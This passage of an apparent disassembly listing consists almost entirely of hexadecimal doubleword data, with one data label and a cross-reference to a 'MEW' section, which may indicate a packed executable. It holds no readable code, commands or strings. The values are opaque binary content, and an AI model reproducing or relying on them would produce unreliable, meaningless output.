dd 7A7AD5E0h, 0EB3F7909h, 0ECFB218Fh, 9A02831Ch, 5E850776h
dd 8D38F26Dh, 48237959h, 2C5D6656h, 5BBC6019h, 51500F8h
dd 7E4D079Dh, 837D7DB1h, 0E7ABB8F1h, 7A66AF65h, 0ED8E523Fh
dd 5E917B7Bh, 1358C481h, 0ED64F359h, 0FC0C3B1Eh, 0E0C2BF2h
dd 664B3687h, 9BAE5BD9h, 705F332Eh, 795C387Ah, 0F47BC2B0h
dd 33278CB9h, 0EA4EBDC2h, 3EB579A3h, 85553F3h, 2C1EF7h
dd 6FB5D38Ch, 6BA1D366h, 0A6D6C396h, 318E7BCh, 76CEC424h
dd 8C9CA25Dh, 0F5B63A45h, 44AA1429h, 0ECD10C2Dh, 46B2DBA6h
dd 672FE907h, 0AC8E5642h, 6EBC64DFh, 107AD3AFh, 5700B80Ah
dd 335A8FFAh, 4BAE0FFBh, 1C1ADF2Bh, 3F1F7478h, 6A317D49h
dd 9739BCB6h, 52C16C6Eh, 4FD132D5h, 0BDE77C76h, 74750D46h
dd 0C2E55A72h, 58763BD6h, 3594CAA4h, 0B6BAE230h, 0F368A667h
dd 0DCCCF95Ah, 0CC5402C3h, 544CF8ABh, 9C3D5190h, 6423EAEAh
dd 20A19774h, 8964CAECh, 5D735E63h, 0F76D48BBh, 992F8464h
dd 4576357Ah, 5E8C0F3Fh, 22A64699h, 80794F8h, 141ABF63h
dd 0F1270311h, 346629BAh, 0AC087B85h, 958EBB1Dh, 8C041255h
dd 835B6795h, 0B64C4F0Dh, 0E6DDBBCEh, 26252CE5h, 3204A21Ch
dd 50E4E0F9h, 9B0DD4C9h, 83D39739h, 600F282Eh, 0E1A595BBh
dd 2F852B43h, 0E41ABF73h, 0A0C65042h, 0F94569D5h, 95A9FB97h
dd 0B68EFFF3h, 0B6091DFFh, 827185E0h, 0F44CC71h, 3078FF46h
dd 0E4430537h, 0EAC4A293h, 0AC99CBA7h, 0F12A083Fh, 84772CD8h
dd 1B5E429Ch, 2330EA16h, 6F288CC1h, 55DEFC6h, 2EA45F38h
dd 0A5A559E3h, 1765A2B4h, 4D84226Ah, 43F5CB91h, 2E54A89Eh
dd 1BAE16C4h, 172BAC2Ch, 689420B9h, 4BF95B9Fh, 9B1A1DE0h
dd 97490CB2h, 0BF70CBADh, 1E097EC5h, 0BB086260h, 31AB07ADh
dd 0FD5EEE2h, 3F1A908Eh, 91D68ADAh, 0E3D29608h, 7F51EAC2h
dd 0E9BF683Ch, 0EADA0CD7h, 6D90B7F6h, 5314E4FEh, 0F80A16E5h
dd 0BD05705Ah, 0F900E498h
dd 1C967830h, 857EC013h, 74BF88BDh, 0FE2BE4B3h, 0EB9DA47Bh
dd 8D6C97DFh, 303B64BAh, 9A3AEBAEh, 0DB25E231h, 97176CC3h
dd 2D014480h, 0CD3E17Eh, 754DD9CDh, 70702838h, 0AE7E0A6Eh
dd 0D545E1C9h, 0BC377545h, 7C38B57Dh, 0E84ECF81h, 31D7091Fh
dd 26449E88h, 0C5B9425Bh, 96DEB4B7h, 0FDBFFCAAh, 5A145A8Eh
dd 0EB627234h, 962597B6h, 7838FD96h, 7BCA487Ah, 0F35CCEDEh
dd 6D60D785h, 0E9EDC168h, 0AA0DBEA9h, 8E0F6E18h, 0BC1A0C01h
dd 40D27EACh, 19BC1EEBh, 0D79723C6h, 0B85E3351h, 9AFE55C0h
dd 6F33FC06h, 153719A4h, 0D37FFCA2h, 581E001Bh, 0FDF42D00h
dd 932D9535h, 9883F06Ah, 5973E7F5h, 380298DDh, 0C5DF8F97h
dd 9F4BBDF3h, 4DD886A8h, 25855DF1h, 0FEAE80E3h, 0BDB78F8h
dd 91BABA4Dh, 0B0A78DD0h, 9401B461h, 2B6700BBh, 80957C35h
dd 5430548Fh, 729D1AA5h, 67A650F8h, 0FE41AF8Ah, 0C4B455CEh
dd 38E558B4h, 57342EB3h, 691D253Bh, 8F5AA9CAh, 2547511Ah
dd 58DA1059h, 7CC3C4FDh, 0C9B1A78Ch, 0ED30AA39h, 31BFF914h
dd 602B68C5h, 5A58BB93h, 66AD9455h, 0BCC47175h, 0E0E010EAh
dd 87DB8F3Dh, 0FC27FA57h, 93C0761Dh, 76B23990h, 7FE391BDh
dd 3BEFC85Dh, 8BEC34A5h, 8A58FB8h, 0E2C2423Bh, 8773798Bh
dd 0AFCD2FD7h, 8CB942D2h, 1DDDD46h, 2A9889EDh, 8A2F76C6h
dd 0D6CCE1FDh, 5730DF53h, 17AC7B19h, 53959E15h, 83516B28h
dd 5726C1B4h, 54F26385h, 5D6AB10Bh, 85F86CFDh, 15B3A008h
dd 1E86EC2Bh, 0AD8E7728h, 6B259C4h, 33CD140Bh, 6876B174h
dd 3845851Bh, 501C26ABh, 0D8EB9EB7h, 0C20106F9h, 0CCA2176Dh
dd 0A4C2FA50h, 0B10CE2C4h, 0CB278245h, 0CD78EABBh, 0FAEE10C8h
dd 0FA312D78h, 296B6409h, 7FA345EAh, 0C4B90062h, 7A63E212h
dd 5B7E6198h, 5999D9EDh, 5F92A65Fh, 0D9BC2883h, 879E71CEh
dd 4455FA51h, 18516860h, 25CAF411h, 5399B59Ah, 188EBE30h
dd 0A1D6F29Fh, 96F40218h, 636A5BA5h, 923248h, 43F5879Eh
dd 85BF530Eh, 770A784h, 3D718AF2h, 0DF55B37Eh, 90BBA0FDh
dd 61A1561Bh, 3BA1D385h, 67A02940h, 15309283h, 6B85E892h
dd 0A19339A1h, 0F83026E9h, 0DA87AD47h, 5865A0ADh, 7284D7F7h
dd 4704334Ch, 0F1ED102Bh, 80DC6F71h, 0B1016FF9h, 39334B38h
dd 56BFDF87h, 6F7912DFh, 0DE149425h, 0B7017570h, 0C18548C7h
dd 0BD88B6C3h, 0F0BC03F6h, 4A794121h, 146AEEDEh, 1EE0AC1h
dd 87B5D4BEh, 5EBD8AF5h, 6F70818Dh, 0ADD87FB2h, 93973EDh
dd 392B9EAh, 0B5340E31h, 91FAFF5Fh, 0A1757C12h, 8EB3986Bh
dd 2EA80E71h, 79A58D2Ch, 0EACFB168h, 0E5E0B26Dh, 49FAA530h
dd 0C9293EDEh, 0DD09B8CDh, 9467C2CBh, 0ED11BA46h, 65573F05h
dd 0F16F86D3h, 0AB6EC18Dh, 7D8C41BBh, 79047589h, 72874163h
dd 0D89F37F9h, 0DAFBE0DAh, 0D092486Dh, 56AA2E82h, 2237B32Ch
dd 2CB59C61h, 0AFD4895Bh, 1F5BEC1Bh, 0AFB1D135h, 2112AA31h
dd 1DB1E0AFh, 0A8C13207h, 3AE19137h, 0BE03B386h, 0EC0A4063h
dd 0DB31801Dh, 8CC18A08h, 82ADF5D2h, 0DB821008h, 0B2AF755Eh
dd 0A3022EC0h, 81BE7A05h, 0ADFE2Fh, 9F079483h, 0E352398Fh
dd 0E3D3E3F2h, 11129F75h, 0CF2710F9h, 0F0A6345Ch, 4B395355h
dd 88F75A68h, 0D64686A1h, 9CC994CAh, 0C26D760Fh, 16A6077Dh
dd 7C1980E5h, 0A43C18B0h, 6C932502h, 8061314Ah, 9488816Ah
dd 0CF6A5737h, 598E5D0Eh, 55A3C6D9h, 0BC345477h, 552B6C23h
dd 101F54D4h, 0EE07EE7Ch, 36E310E0h, 0B3F09BE0h, 0C1125ED4h
dd 0B776FF82h, 0F8CF5B04h, 0B04252F7h, 845EECAAh, 646D738Dh
dd 16F20A8Fh, 36089E56h, 19D36BF1h, 0E45064B8h, 9F27210Fh
dd 0BB8E7CC3h, 5DC75F4Ah, 0EEED956Ch, 0A4991BFAh, 30D34A9Eh
dd 488B6311h, 956C7BFEh, 6E6A00Fh, 0E84BC9C9h, 8C5C9447h
dd 0F69A4BDCh, 0E6941A0Eh, 0EF189FB3h, 2AE9E9Fh, 0FE90E04h
dd 7CB64457h, 8E5A93B2h, 34B6DEAAh, 0CD60F7BFh, 5697A1BCh
dd 64C72693h, 1710A7E2h, 0EC0DB969h, 0F97AE3DDh, 0A41D5495h
dd 0C2DC1B97h, 0BF0050BEh, 872F551h, 0F6E387B7h, 1806FA20h
dd 71C27275h, 6B8FA4D6h, 7458DC00h, 3A837D47h, 0F64F6FB5h
dd 2DA68911h, 31BA485Bh, 74BD22Bh, 58EBD26Ah, 6AC20A6h
dd 696D7D94h, 0C53E6967h, 97CA5CF6h, 453EC8AEh, 0B5A26973h
dd 8F641FADh, 9B082FBAh, 48102CD3h, 2A0124BAh, 0FB268341h
dd 6E6811Fh, 0E720800Bh, 0F2789EDCh, 58B33032h, 43D07ABCh
dd 0EC685B2Dh, 7F662D5Ah, 2EF84873h, 0B7E2D483h, 0C0BC9A80h
dd 0FB89B144h, 711FBFB2h, 0DE4A6C0Ah, 0C59E5D6Eh, 0BE2EE522h
dd 48BD2ED5h, 55D75991h, 920AD201h, 1DF3ACE6h, 0A9605B44h
dd 5D8FA4C7h, 33086A16h, 4FAF2EFh, 75340667h, 0F5AD2381h
dd 0C35DE330h, 23B2B520h, 96E9FFFh, 0A5800C40h, 0CE473726h
dd 7C2A77F1h, 9BBBB233h, 6DE28EC0h, 9EC76B31h, 85661AEBh
dd 4FAD49AAh, 0A7FEEE1Dh, 7A967998h, 0CB6A3990h, 9AD7A9E6h
dd 74755BDEh, 0D7DB0842h, 0BDF81761h, 1826EF61h, 0EAE6F39Ah
dd 0E0C35948h, 148A61F1h, 0D6CA58C1h, 51E1FB89h, 0E14C8CCCh
dd 0F6438872h, 1D54842h, 0CA6DE25Ch, 0EDEA5C31h, 42D50259h
dd 8E299690h, 0F5E63B8Eh, 2CE1579Ah, 8ABE1888h, 6661AE72h
dd 0B3E447ABh, 5445CB7Fh, 0FCAEB1DDh, 973B440Eh, 3E384287h
dd 81419573h, 61136BC7h, 18EBD30h, 76072167h, 6A20B8B5h
dd 0F4433387h, 0E726C9AFh, 3275E06Bh, 5EA80FAAh, 9FE5D8EFh
dd 89C6B1D2h, 4DCA325h, 36070BBAh, 0B781C274h, 612D32DBh
dd 8E7F68DBh, 0D189A643h, 45387B03h, 8F24F7A2h, 838C3893h
dd 9E821DFAh, 693C6D3Bh, 0CBECC4CDh, 8D7441DEh, 2A6ABCE6h
dd 26C361C0h, 0C9F552EDh, 86D8BD60h, 0CE21A1AFh, 33D71E73h
dd 0F9C6E712h, 18361880h, 341BAF17h, 76DB92D1h, 7C41A391h
dd 6B4AB25h, 907BBC7h, 0EEE5DDADh, 0FAC39CCEh, 0F18504D7h
dd 93538006h, 2390A6Bh, 2D108594h, 40953A54h, 0BA2D4E8Fh
dd 3422074Dh, 9585ADBDh, 391EE942h, 8212749h, 0A000EE56h
dd 5A6540Fh, 835CA16h, 2A5DE6A5h, 1209A6A6h, 1616C19h
dd 3B518171h, 0FEAF0033h, 0A80741C3h, 0B6EC5EDDh, 0AD4D9408h
dd 0DFE5D009h, 67BF1148h, 0E93F825Dh, 0DE875FA2h, 7A8BD6A2h
dd 0DECAA47Ah, 43D1DE59h, 41DCCC85h, 6DD7BF3Ch, 0F647BFC2h
dd 659A2401h, 0C34870Dh, 6ACB2917h, 0E446C3CDh, 0D5BCEBBDh
dd 3B62BC07h, 67E31EAh, 58CCAADCh, 48A57C48h, 0BBA3C219h
dd 65EBC2E5h, 0C3FCD620h, 49A1FEF3h, 99A7510Bh, 0E39BC503h
dd 0A7B0A85Ch, 924E3631h, 98D8923Ch, 9E20E470h, 0BFBD96E9h
dd 0B920DB0Dh, 9FE68AEh, 4CA2F5A0h, 0C00F563Fh, 1BD0D376h
dd 0ACA8F273h, 0E2854507h, 0F358F2DAh, 5B0806ECh, 0C0297857h
dd 0DEB551A5h, 0DA0FB91Eh, 46B38651h, 90217110h, 0C3208553h
dd 2BA8D6B0h, 3D147233h, 9BC95CC2h, 0DB80D2CEh, 4000B0D1h
dd 55281B4Eh, 770056BCh, 0A46BF59Dh, 1A09EFAh, 8670A53Bh
dd 82A6D19Ah, 738DB03Fh, 54679E17h, 4923B3A0h, 0FCB94C28h
dd 4350FDB0h, 515B7E9Dh, 2AD0F22Eh, 0E7A50F01h, 0B39AFB80h
dd 629F07C8h, 6F08A7C2h, 8BE495Bh, 0B6D74144h, 0F43B2B20h
dd 0A15A15AEh, 0C21E9519h, 2515741Fh, 0DD6B5866h, 220AD10h
dd 26D2D9C3h, 7233928Ch, 4DCAE737h, 2D0DAE66h, 70DA9630h
dd 0CB72766Ah, 0FC8410ECh
dd 9C3148B6h, 0DAC5E3F1h, 84DA3096h, 81B7C835h, 0D79252E7h
dd 0A580B5D6h, 9C38771Fh, 8D7D76Fh, 5A7B9656h, 57BCC91Fh
dd 4812EA7Bh, 887E0D0Ch, 37F0560h, 2363F15Bh, 0E72B039h
dd 0E8E1A2C8h, 0C7CC8A2Ch, 0FD1FE371h, 3FDEB448h, 5BF54A86h
dd 2C2AB625h, 6D16A174h, 879F2597h, 0D9D3BCBEh, 529C22A7h
dd 46B5401h, 469D1AC2h, 0BE03DAE9h, 0C2A539A0h, 37F2C069h
dd 1AA40260h, 7A0A51D3h, 0B66BB516h, 0AACD3592h, 0B403D00Eh
dd 706D229Dh, 8CB5CD82h, 0F809230Ah, 2663DB18h, 7548A574h
dd 0F4C5D391h, 67DB6DE0h, 0CB57CF8h, 0A3A3D6DBh, 36E9550Dh
dd 33D878AFh, 6C6184CAh, 0FB3163F8h, 84CB1FE9h, 7D317065h
dd 0B5EAAA63h, 72E4A46Eh, 0EA1DD53Ah, 9324351Dh, 5EB9ED91h
dd 7170B312h, 0E2ACF18Ch, 0D58F04BDh, 4227AAABh, 124BE511h
dd 4C2C4DAEh, 1A4F8541h, 0FFDF63CFh, 0DB50C769h, 0F3B6D014h
dd 5E6E81EAh, 0FB865F6Bh, 70E374AFh, 0BC5D0F56h, 9E06B4DBh
dd 0DFA7F838h, 7E7AE558h, 0AF6820BFh, 63BD882Fh, 0AA3CEBh
dd 680E0BCEh, 0A98674C7h, 57152671h, 70B94402h, 2E0787EBh
dd 0CB0EA1BFh, 6055D73Eh, 3B35C307h, 2C27E9E2h, 0C8381A96h
dd 0B1354C0Fh, 0EA9C89A7h, 0DDF8C5B4h, 287A3322h, 7A95B2DAh
dd 376446CAh, 73C5FBB9h, 0A8072EF6h, 0CDD95AB7h, 49C0C063h
dd 0BC8F70BFh, 0BC43F4D6h, 0AA6E0F83h, 95E415AEh, 58E25911h
dd 405039C9h, 21098C89h, 21D488B3h, 65153D74h, 55635B76h
dd 60F8A4DFh, 8CC5AB36h, 0BD8B3B0Eh, 0E26D0563h, 37C6BCFh
dd 0FF35DE09h, 4A87F3F5h, 0D01FF326h, 56813CE3h, 0BF3B00B0h
dd 0EA23CB77h, 0F56F3478h, 0B7EA20EAh, 0B632D2B2h, 9A89EF96h
dd 0C1DB95CFh, 780A902Dh, 6479381Dh, 0A68A16Dh, 6AE23356h
dd 278F518Dh, 0E4D1B400h, 4022170Dh, 6AC48BB9h, 82C33CC0h
dd 44299C96h, 0D7C27E58h, 0D6278D2Ah, 0CCCA2E18h, 5983A59Ch
dd 0A652CA0h, 6A53C9FAh, 0F9622F75h, 0D2A6BC3Dh, 10C27629h
dd 79D3B62Dh, 8FC97EB7h, 556044DFh, 0CD7A2978h, 0CD1BA571h
dd 0A5B1F40Ah, 0BE890E74h, 909EC4F3h, 0A80EEB4Ah, 77B39EC3h
dd 7DCE9710h, 2A3DD652h, 5B2C26BAh, 53E21B24h, 0A8AE05E9h
dd 2F767C4Ah, 0FFAC6156h, 63CA059h, 343F7A13h, 50B8E11h
dd 41EA50D0h, 0A4FBC2A3h, 0C80D2368h, 9E1EBCD6h, 0F519D5B9h
dd 907CAA0Dh, 926F90F1h, 3BEEC6E2h, 0BBE632DDh, 8E1C1C26h
dd 623BFD37h, 79268F1Bh, 8C04F874h, 0E639FDFEh, 0C01BBB1Dh
dd 4670B153h, 0CE9A175Ch, 1298CB5Ah, 59098754h, 0F0E42235h
dd 0FE279DEh, 727FCBE5h, 5004E56Ch, 68DBCEFh, 0C892385Dh
dd 6DCF576Fh, 991160AAh, 0CB9B141Ah, 806C45F2h, 0DD19AD3Dh
dd 0FE18108Fh, 0D5823EBCh, 0CED681A8h, 0A3191501h, 0E9500DA7h
dd 0F3D92A14h, 0FCB74382h, 0F6BDAD56h, 0B41AC4ACh, 0D6FF3D7Ah
dd 6A51B41Dh, 64CDBA3Ah, 0B75762CFh, 0EED5F1A7h, 0D75F2464h
dd 0D8507B16h, 0F38BAA03h, 652E746Eh, 6A303A9h, 0F11EDD24h
dd 9271F395h, 9281BF87h, 1B2E6762h, 0B6C42809h, 66837E32h
dd 51C1D9h, 34B5BB40h, 309FA19Bh, 0C2D037Ch, 0BEC332E2h
dd 75E0DE88h, 1D8AA812h, 90473F9Fh, 0DC82B6E0h, 0F079489Fh
dd 5FEC3352h, 0B65F4654h, 2482339Fh, 0C929A51Ch, 8B405BB4h
dd 0C519E3DCh, 0D47225BAh, 0A283C237h, 9E0C15F2h, 0D2AC9493h
dd 0E5C29724h, 0DB87AFD7h, 0D149C0D5h, 5444A31h, 558A31ACh
dd 0AEE5809Bh, 53D39EDCh, 440A9FD0h, 0A6229E09h, 85433F69h
dd 383AF594h, 0DEA9736Fh, 2F12EB81h, 0E04047A8h, 0C293026Ah
dd 0BFC28745h, 0ACE021A4h, 830D69E7h, 90E7DE76h, 9E08E806h
dd 7387F04Ah, 261697F1h, 3706468Ch, 1EDCF603h, 32BDF5Dh
dd 44448BB4h, 0DE0C35DFh, 0A8DCE26Eh, 8E14DB79h, 9F5EF39Ah
dd 6BDCA6C3h, 859764EEh, 417569AEh, 0D89BAA07h, 6B1906F6h
dd 82976617h, 7F0C2C8h, 0AEE58A77h, 20A5EE7Ah, 380377A5h
dd 9C6722D5h, 678878DAh, 0F596947h, 30564931h, 59BF4A90h
dd 82929425h, 6232BC56h, 61011EF8h, 0B110CC8Ah, 0F9E980F6h
dd 0E0607ED9h, 4B4CD50Eh, 0F70A4315h, 21465541h, 0E2CBDFBEh
dd 0CEB64842h, 5FF784B5h, 0EECB2230h, 95E29FA7h, 795D663h
dd 8A826CDDh, 24A0B1AEh, 52F5DD1Fh, 0AAC9E539h, 5EE28979h
dd 28CFFDD1h, 0D8EDF7F5h, 0B874C2DEh, 5420EC4Ch, 790F7612h
dd 1873575Ch, 0C8E7F7AEh, 0CF9DB839h, 2EEEB0BBh, 22FA0104h
dd 0F894F63Ch, 0F568E7D1h, 7A0682B0h, 5A679B8Fh, 4135179Eh
dd 0E9379A76h, 37687E1Ch, 0B2DEC529h, 62C61E28h, 0F2D624EAh
dd 6191531Dh, 70AC618Bh, 3EE7D9E2h, 0B4FD4657h, 1CD9D181h
dd 5F941B0Fh, 578526BAh, 47F1859Eh, 76FFA357h, 7B57F85Fh
dd 31AD119Fh, 8462AB8Fh, 0D29524E9h, 4107F784h, 760E3C74h
dd 0A216278h, 0E808339Eh, 0EBEFAA42h, 18DB6C01h, 0DE87FA22h
dd 3DB97155h, 5EB0E95Dh, 66A8CEE7h, 96197B7Fh, 1DF63AF4h
dd 6F5C6A34h, 0BF2DB178h, 98DEB59Bh, 0DB006856h, 6DC3F9F0h
dd 848B8A4Ch, 27C4805Ah, 3D916D92h, 0D5772210h, 0BF321C91h
dd 3145A1EAh, 81582528h, 71A80F5Bh, 0F24193FDh, 502AB0ADh
dd 2F3ED068h, 0F561630Ah, 0EEFC1D27h, 0A21887CBh, 78FBF10Fh
dd 3C21AD5Eh, 7CA98394h, 4B4AAE67h, 662C9E8Bh, 3C233556h
dd 4BA55CD2h, 5F9FBB0Ah, 7CD02EF1h, 0E854458Bh, 3000AEA4h
dd 83257088h, 0D3C46DDDh, 0F2189840h, 5D330033h, 5FE15921h
dd 0EF67A5E4h, 86C69F1Bh, 0F135E705h, 0FD224CD5h, 0BE633683h
dd 4E33A101h, 50366A0Ah, 0E32A51F4h, 11D2BF5Bh, 7465D23Dh
dd 16DC7446h, 628788E4h, 89279CEDh, 7FD2CE9Ch, 416E4786h
dd 0E7521BEDh, 69678998h, 0E29486B3h, 0F990E000h, 1B232203h
dd 2989C1D3h, 3D468E25h, 929CD64Ah, 0A424FAB4h, 0EFE5EAEAh
dd 100FE21Ah, 0AC3CDDB1h, 3232F9B2h, 0DA63548Ch, 0A15B91D4h
dd 0CC627781h, 0E9C25BBh, 71A79218h, 0D5D2CB61h, 9BDB085Dh
dd 0F197C862h, 0FFFC16BAh, 0FA64880Ah, 0E255E7FFh, 2CD417F1h
dd 0AA529BB5h, 0BA78C67Dh, 196EA633h, 249BB88Bh, 32E7D089h
dd 426571E7h, 95C81FE6h, 0DB2559DFh, 18FD0304h, 0D85529C4h
dd 0AE9AFC3Fh, 0B14BBC3Ah, 4CCFD825h, 78C5CDF5h, 6B853C86h
dd 675F16B2h, 6CF1FB0Dh, 5DEF83E9h, 0B5494DFEh, 74BB30A0h
dd 0ED3BE6F9h, 9BBC4691h, 0B581038Eh, 8936DFBBh, 79C63752h
dd 0B8F98D8Bh, 60F1CC42h, 2E0C472Bh, 5DB586E6h, 1EEF0879h
dd 0F9C3642Fh, 38826397h, 6F179032h, 0C53B26C9h, 9FC2FE0Ah
dd 8EAEC90Fh, 8A5A5068h, 8CC25E9Dh, 9AE9B370h, 8AD45AD1h
dd 8B966BEBh, 0C932EA67h, 6D00E70Ah, 3E826327h, 0BAFC9CF6h
dd 71173EFCh, 79FE70CAh, 0B3F0596Ch, 0E3AA695Eh, 82781AAEh
dd 6BD93091h, 0BB677DC1h, 0F5139DFEh, 7639F280h, 83742668h
dd 8B537CF0h, 0EBD95309h, 0C0C02B59h, 0C0E78D24h, 14330142h
dd 0B3394488h, 9CD0A891h, 48D2AA59h, 2BB69730h, 9E1A4BBEh
dd 0E3B09249h, 3C64C19Bh, 0BDFD3D63h, 0C58771CBh, 0AD8CC279h
dd 0CCB63353h, 7E5B4B3h, 4BEAFE96h, 8ADBE97Fh, 0E1200812h
dd 86943D13h, 0FE156A72h, 3A044D47h, 18D811A2h, 2C040949h
dd 0B1640529h
dword_41005C dd 0DB3A8DACh, 0BB9E2757h, 4A0E002h, 0CF02D91Ah, 2C173A1Ah
; DATA XREF: MEW:off_402384o
dd 0DF1C4FD0h, 5D75811Ch, 0D493CEB3h, 0F0640DCCh, 32C03B68h
dd 0B648209Fh, 1BD24147h, 0FAA30C31h, 67C6EAA0h, 3F116579h
dd 2F0CB16Dh, 0CC9ED19Bh, 0CEE965Bh, 1A0B0C28h, 110209A5h
dd 0CB15E8Fh, 0EBC449E3h, 0D8C6FD41h, 3E05425Bh, 9D7E2758h
dd 4134B7CAh, 8F2E5209h, 0CA4D496Ah, 1FCD578Fh, 0D3724D7Ch
dd 1B19A0E0h, 5304719Bh, 0B92CDB6Ch, 0C2B42A1Ch, 3415726Ah
dd 0B48FD5C1h, 84437DE3h, 0A037E5A6h, 5E3153BBh, 0D7CE6A94h
dd 0E0A8F1F7h, 0A2A0D71Dh, 0D94F9484h, 0E8506E38h, 26429D26h
dd 0D54B3264h, 6D711D20h, 0FA0E6DD2h, 8CD10BFFh, 960B08C4h
dd 7A2DE2FFh, 0D51D9DFAh, 7D2BBBD1h, 99048685h, 5E8537F1h
dd 6400473Fh, 4384629Bh, 8BC32038h, 51852858h, 2094E37Eh
dd 9CDC093Fh, 0D1523EE5h, 0D110ADEEh, 9700A9BFh, 5BA17A7Ch
dd 0E2B309E1h, 0CC8B3C1Fh, 4757D157h, 935C764Ch, 5803AAAEh
dd 848A4B3Fh, 68491DC8h, 5146B698h, 0DC218EBAh, 116CEAEBh
dd 96D36163h, 4B144442h, 4B3ADA50h, 0EB0BDC5Bh, 0B317908Fh
dd 1960EF67h, 0C6727BF8h, 0A634FDBCh, 0A88D4D21h, 50066A76h
dd 0DF789D92h, 974E5847h, 941BB226h, 0BD456AE9h, 4E922AC3h
dd 0C2B002FCh, 0EA3B769Eh, 291B271Bh, 8516FB4h, 0BC4EE601h
dd 4A6DD8D6h, 0A29F354Fh, 2A654CF2h, 0AC67B826h, 18AF8F03h
dd 1579AD5Fh, 16DD1794h, 1C757562h, 9A97742Bh, 9072006Dh
dd 0BC439AFCh, 54BD681h, 3740CE6Fh, 0D1DCA558h, 1A2F396Dh
dd 406684E1h, 0CB4D4A40h, 77745BA3h, 7724621Bh, 0F7D9E10Dh
dd 0A7E334EDh, 86D58C73h, 0C5081D72h, 908A8D7Ah, 0E6A836AFh
dd 6793D192h, 4277CB7Bh, 5B75528Ah, 0ECE362CCh, 400CFB2Eh
dd 5F0DE63Bh, 956CF5D8h, 1C5EB658h, 4575D760h, 0C0920574h
dd 896FA597h, 0FC49C126h, 0D710F9FBh, 0B61EE961h, 0B73F33B0h
dd 58A43D37h, 385DBCB6h, 85FA0356h, 0D9BB8D4Fh, 0BCAE8342h
dd 83BD628h, 3E410127h, 72ACBC19h, 7344815Eh, 0EDA15819h
dd 2DC5238Ah, 0BB0CF3EAh, 0E02A9CC5h, 66181DB4h, 5FA3AEBDh
dd 0D379B91Fh, 68845F4Ah, 0C0FDCB34h, 0EE25A6C7h, 0A35FAEDCh
dd 0A8DD9FD0h, 0B3C93B55h, 0F25C436Fh, 0A23AF27Dh, 0E1DE896h
dd 76A59DB6h, 0D6F0ABE5h, 2992A07Ah, 3170FDE8h, 0C1364992h
dd 0F75F40F6h, 6F147522h, 8440EF56h, 293ADF64h, 0DB3FC383h
dd 69AAFDA7h, 662FB652h, 6F67D0D0h, 93CACEBAh, 0B6A76DD3h
dd 5CD5B829h, 0D62D0F34h, 0BF9D2876h, 0ADC3AD77h, 0B486B359h
dd 0B9E4230Bh, 0B739F027h, 103046E5h, 0F6A6FBD8h, 9150A1E0h
dd 85C72E62h, 0D681258Ch, 5611EEDh, 0F9D5E612h, 0C234014Ah
dd 4DE10263h, 0B923A2B8h, 9892ADFCh, 8678F3F5h, 0F5496F62h
dd 495E29A6h, 2651BBCEh, 0D1F2FD46h, 0B7669301h, 428D7953h
dd 0EC8145C5h, 7F401535h, 8D8F4350h, 0BE6151Bh, 5F5F1FADh
dd 335C8D17h, 717686CFh, 5856A6FDh, 0FBF93198h, 37267BE5h
dd 5F926FAh, 0DCB81460h, 30877369h, 0F275945Bh, 9BFEC33Ch
dd 0DEE4FC72h, 5DDDDFA9h, 0E800991h, 2B7E85DAh, 0ACFB870Fh
dd 0EA0C91D7h, 18CC6C31h, 917CBB66h, 0CC45E51Fh, 23F142D7h
dd 1DC71276h, 6A1CE45h, 5A5992FEh, 791322Fh, 0C46C2E20h
dd 0FE498F2Eh, 122F45A7h, 9358A71Bh, 5E65D9FCh, 0CC7B1612h
dd 0E9A4E6F2h, 40371F47h, 0C85EEB10h, 0CAC43DFFh, 0FC2921CAh
dd 352AEDE3h, 356C6631h, 0B93DF554h, 8FDDD103h, 0FDFFC049h
dd 142172B2h, 5320E191h, 644EEF8Ah, 1AD94C6Eh, 35F7274Eh
dd 0D48FBDE7h, 983C12D3h, 3E43D665h, 3D5D1CD7h, 0AB20C012h
dd 53D57C4Bh, 1B81D66Eh, 0EE459461h, 3C7A3654h, 7FA55A0h
dd 0EE9746B1h, 9874ACB5h, 27EEB83Ch, 4F2B8F1Fh, 89C205A8h
dd 0EFB3718Ah, 67DFF3C9h, 0ACCD8340h, 0C4C77829h, 8CF4D9F4h
dd 973732B2h, 4938B9FEh, 0D974957Eh, 61FF5EFBh, 4EB73865h
dd 781AC298h, 0F4004B7Ch, 387FCF6Ch, 9551160Fh, 21892719h
dd 194048C7h, 61353C0Bh, 9EF1137Ch, 7285A018h, 34239F7Eh
dd 408EC9A4h, 7321FB8Dh, 0ACA59C4Fh, 11BC6FF4h, 7BBD4D30h
dd 291DA78Fh, 6111CC3h, 0EF56C54Dh, 0B7DC2873h, 43F92BF6h
dd 9989C4F0h, 92F73F0Bh, 875C770Dh, 6E345C67h, 1FD39FF7h
dd 0E7506E69h, 905410F5h, 0EB9F201Ah, 0E669A06Bh, 0B01D24FEh
dd 9365878Ch, 4995EC21h, 0EDE0BE00h, 843B288Bh, 3119C8E1h
dd 0AD07B6A2h, 0AC86174h, 50C87508h, 0A6B5BC0Fh, 797EBDB6h
dd 0E6FB3AEAh, 0A2C8DB16h, 83F47489h, 0D2563C1h, 6F0978F1h
dd 7C40B2A4h, 27080951h, 8AD1A26h, 6692008Ah, 4E928DE1h
dd 0DEBCC376h, 0C39FED77h, 7DD8417Bh, 0D83EA354h, 0F4068E13h
dd 8974F402h, 9DC8403Dh, 19FA8928h, 1AE93202h, 19A7A0D2h
dd 106CB064h, 3BED194Ah, 3F6E6BD6h, 22412A15h, 0F620FB6Dh
dd 38BF4157h, 9D7594D1h, 18152612h, 2F622C29h, 71579152h
dd 8E5E8C10h, 0D6D8C64Dh, 85211E3Bh, 6C60C505h, 0D8C77827h
dd 0DCA91736h, 4D6C3895h, 5B0D30D7h, 530E859h, 9FE20ED0h
dd 497ED1CEh, 0D3ECEA97h, 0CCAF0DE7h, 0CEE621D1h, 0FA9A4E49h
dd 7D512B13h, 24B5F1ECh, 29BAD6EEh, 0A5CC580Ch, 0E8FB310Ah
dd 0F143E348h, 266D743Eh, 0C550CB66h, 4246369Dh, 0F6740F9Eh
dd 24512FA5h, 67E38ABAh, 0B7B44F34h, 326A9C05h, 993CC7F6h
dd 0A442896Fh, 0C5AA7393h, 0D1C4B943h, 20F374C2h, 0F9486596h
dd 154B17F3h, 97BE7749h, 21099805h, 671AA029h, 9430504h
dd 51B66B5Ah, 7E69CF36h, 0E2EE53A0h, 0E0787B59h, 199FC30Fh
dd 29A51BCAh, 1408774Bh, 8F5A1548h, 0B8B694BAh, 593665CDh
dd 0B3AB95EDh, 0E86740D2h, 4BFDBFCEh, 5131DF1h, 11E93805h
